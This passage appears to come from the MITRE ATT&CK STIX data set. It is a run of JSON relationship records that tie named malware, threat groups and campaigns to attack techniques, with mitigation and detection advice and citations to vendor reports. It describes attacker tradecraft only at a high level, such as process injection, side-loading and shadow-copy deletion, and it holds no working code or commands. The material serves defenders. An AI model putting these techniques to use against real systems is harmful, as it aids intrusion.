Hijacking](https://attack.mitre.org/techniques/T1574/001).","relationship_type":"mitigates","source_ref":"course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86ebda8c-df0c-4d76-970b-27bf392606a7","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"},{"source_name":"Securelist WhiteBear Aug 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.","url":"https://securelist.com/introducing-whitebear/81638/"}],"modified":"2020-03-17T11:56:53.447Z","description":"[Gazer](https://attack.mitre.org/software/S0168) performs thread execution hijacking to inject its orchestrator into a running thread from a remote process.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)","relationship_type":"uses","source_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","target_ref":"attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--86ecb96d-516e-43eb-b22d-d7c5a9dc14d8","created":"2024-01-19T21:11:46.125Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-19T21:11:46.125Z","description":"[LoFiSe](https://attack.mitre.org/software/S1101) has been executed as a file named DsNcDiag.dll through side-loading.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--452da2d9-706c-4185-ad6f-f5edaf4b9f48","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86eff809-54ad-47e1-aacf-24c439a21aa5","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--86f238c5-20c2-4c94-9be9-886105c95252","created":"2022-07-25T18:00:55.790Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Mongall](https://attack.mitre.org/software/S1026) has the ability to upload files from victim's machines.(Citation: SentinelOne Aoqin Dragon June 2022)","modified":"2022-07-25T18:00:55.790Z","relationship_type":"uses","source_ref":"malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86f6e11c-759b-438d-9f32-004708c68f2c","type":"relationship","created":"2019-03-18T14:05:57.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT40 March 2019","url":"https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html","description":"Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."}],"modified":"2021-10-04T12:59:52.921Z","description":"(Citation: FireEye APT40 March 2019)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86f6ea64-eb95-4228-956f-eae82b8f49d8","type":"relationship","created":"2020-01-30T17:37:22.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T12:57:33.949Z","description":"Administrators should audit all cloud and container accounts to ensure that they are necessary and that the permissions granted to them are appropriate. Where possible, the ability to request temporary account tokens on behalf of another accounts should be disabled. Additionally, administrators can leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86f8bebc-a5fc-43d7-9af0-0024e07ca8d1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","source_name":"Talos Group123"}],"modified":"2019-09-09T19:12:32.643Z","description":"[APT37](https://attack.mitre.org/groups/G0067) injects its malware variant, [ROKRAT](https://attack.mitre.org/software/S0240), into the cmd.exe process.(Citation: Talos Group123)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--86fb99ad-9fbc-4c57-8425-4dc90274a24d","created":"2022-09-21T14:45:52.429Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-10T16:20:46.227Z","description":"During [FunnyDream](https://attack.mitre.org/campaigns/C0007), the threat actors used `cmd.exe` to execute the wmiexec.vbs script.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--86fd8738-ab8f-4b80-8c8d-fc80df9e2c07","created":"2022-06-09T15:01:59.887Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET DazzleSpy Jan 2022","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[MacMa](https://attack.mitre.org/software/S1016) can dump credentials from the macOS keychain.(Citation: ESET DazzleSpy Jan 2022)","modified":"2022-06-09T15:01:59.887Z","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86fe5a45-f9b8-4606-ba91-344e55d69173","type":"relationship","created":"2019-04-17T18:43:36.378Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.","url":"https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/","source_name":"CheckPoint SpeakUp Feb 2019"}],"modified":"2019-04-22T20:29:31.396Z","description":"[SpeakUp](https://attack.mitre.org/software/S0374) deletes files to remove evidence on the machine. (Citation: CheckPoint SpeakUp Feb 2019)","relationship_type":"uses","source_ref":"malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87039f89-ab04-4851-be9b-403a599a8c8e","type":"relationship","created":"2021-09-28T17:59:40.587Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T15:03:46.074Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can exfiltrate locally stored data via its C2.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--870c08fa-6112-4d08-9b84-59df09f27b4d","type":"relationship","created":"2020-05-19T21:26:54.399Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoudMiner June 2019","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}],"modified":"2020-06-23T00:48:35.425Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) is typically bundled with pirated copies of Virtual Studio Technology (VST) for Windows and macOS.(Citation: ESET LoudMiner June 2019)","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--870cebf9-bf09-451c-a894-cad79936bb67","type":"relationship","created":"2021-09-29T22:24:15.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T22:24:15.751Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has attempted to get detailed information about a compromised host, including the operating system, version, patches, hotfixes, and service packs.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87146c3d-f6f3-4800-b74c-50e1b1cbfa9f","type":"relationship","created":"2020-02-20T15:31:43.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-20T15:31:43.917Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858","target_ref":"attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87182fef-ddbc-466e-b55b-989f10592d0c","type":"relationship","created":"2020-12-30T16:39:34.487Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Egregor Nov 2020","url":"https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware","description":"Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020."},{"source_name":"Intrinsec Egregor Nov 2020","url":"https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1","description":"Bichet, J. (2020, November 12). Egregor – Prolock: Fraternal Twins ?. Retrieved January 6, 2021."}],"modified":"2021-01-06T22:00:01.177Z","description":"[Egregor](https://attack.mitre.org/software/S0554) has the ability to download files from its C2 server.(Citation: Cybereason Egregor Nov 2020)(Citation: Intrinsec Egregor Nov 2020)","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--871cce82-c9fe-47e3-bd03-94a29a295f90","type":"relationship","created":"2020-02-20T18:39:33.165Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/en-us/library/dn408187.aspx","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.","source_name":"Microsoft LSA"}],"modified":"2021-10-15T19:55:01.722Z","description":"On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA.(Citation: Microsoft LSA)","relationship_type":"mitigates","source_ref":"course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8720f2bc-c099-4d2c-a9b4-faf019bf55a4","type":"relationship","created":"2019-01-31T00:36:41.003Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Konni May 2017","url":"https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html","description":"Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018."},{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"modified":"2022-01-06T19:47:22.700Z","description":"[KONNI](https://attack.mitre.org/software/S0356) can download files and execute them on the victim’s machine.(Citation: Talos Konni May 2017)(Citation: Malwarebytes Konni Aug 2021) ","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87231371-e005-44ab-9b66-1954615f2a7e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2018-10-17T00:14:20.652Z","relationship_type":"revoked-by","source_ref":"malware--310f437b-29e7-4844-848c-7220868d074a","target_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87276474-6fe9-455f-b3fd-8e79599f8014","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Monitor system logs to review instance activities occurring across all cloud environments and regions.","source_ref":"x-mitre-data-component--b5b0e8ae-7436-4951-950a-7b83c4dd3f2c","target_ref":"attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--87282f36-42f5-4eb1-9fec-778bc0f846b7","created":"2020-05-26T21:02:38.494Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Netwalker May 2020","description":"Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:04:42.322Z","description":"[Netwalker](https://attack.mitre.org/software/S0457)'s DLL has been embedded within the PowerShell script in hex format.(Citation: TrendMicro Netwalker May 2020)","relationship_type":"uses","source_ref":"malware--754effde-613c-4244-a83e-fb659b2a4d06","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--872a8c48-765c-446e-a321-9a80116f8599","type":"relationship","created":"2022-01-24T17:00:32.591Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-24T17:00:32.591Z","description":"[CharmPower](https://attack.mitre.org/software/S0674) can use PowerShell for payload execution and C2 communication.(Citation: Check Point APT35 CharmPower January 2022)","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--872ba9c6-8e0d-48af-864b-de83b906baf1","created":"2020-10-19T23:49:08.631Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cisco Securing SNMP","url":"https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/20370-snmpsecurity-20370.html","description":"Cisco. (2006, May 10). Securing Simple Network Management Protocol. Retrieved October 19, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Allowlist MIB objects and implement SNMP views.(Citation: Cisco Securing SNMP)","modified":"2022-04-19T21:33:51.724Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--872c6f1b-aa4f-4d43-b35d-c4216d2f4559","type":"relationship","created":"2019-03-11T17:18:27.756Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.523Z","description":"[Empire](https://attack.mitre.org/software/S0363) can perform pass the hash attacks.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8732cda7-068e-439d-a25a-1b056363d1f7","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/","description":"Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.","source_name":"ASERT Donot March 2018"}],"modified":"2019-04-25T00:09:23.166Z","description":"[yty](https://attack.mitre.org/software/S0248) collects the victim’s username.(Citation: ASERT Donot March 2018)","relationship_type":"uses","source_ref":"malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--87343ae5-53c9-426c-abab-602c8041dafe","type":"relationship","created":"2020-05-26T21:02:38.497Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Netwalker May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/","description":"Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."},{"source_name":"Sophos Netwalker May 2020","url":"https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/","description":"Szappanos, G., Brandt, A.. (2020, May 27). Netwalker ransomware tools give insight into threat actor. Retrieved May 27, 2020."}],"modified":"2020-06-08T16:07:36.279Z","description":"[Netwalker](https://attack.mitre.org/software/S0457) can delete the infected system's Shadow Volumes to prevent recovery.(Citation: TrendMicro Netwalker May 2020)(Citation: Sophos Netwalker May 2020)","relationship_type":"uses","source_ref":"malware--754effde-613c-4244-a83e-fb659b2a4d06","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--873b5347-7147-46fc-b94c-5b6deaeb56f4","type":"relationship","created":"2021-11-12T21:12:02.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-17T16:36:15.774Z","description":"[Clambling](https://attack.mitre.org/software/S0660) can use cmd.exe for command execution.(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--873faf92-be75-47e5-bf3e-b389a5bdc020","created":"2019-09-24T12:31:43.561Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"Group IB APT 41 June 2021","description":"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.","url":"https://www.group-ib.com/blog/colunmtk-apt41/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:45:58.859Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used DNS for C2 communications.(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021) ","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--87400414-05c2-42a7-9db5-fbbac101146d","created":"2022-04-14T19:18:20.094Z","x_mitre_version":"0.1","external_references":[{"source_name":"GitHub SILENTTRINITY March 2022","url":"https://github.com/byt3bl33d3r/SILENTTRINITY","description":"Salvati, M (2019, August 6). SILENTTRINITY. Retrieved March 23, 2022."},{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) is written in Python and can use multiple Python scripts for execution on targeted systems.(Citation: GitHub SILENTTRINITY March 2022)(Citation: GitHub SILENTTRINITY Modules July 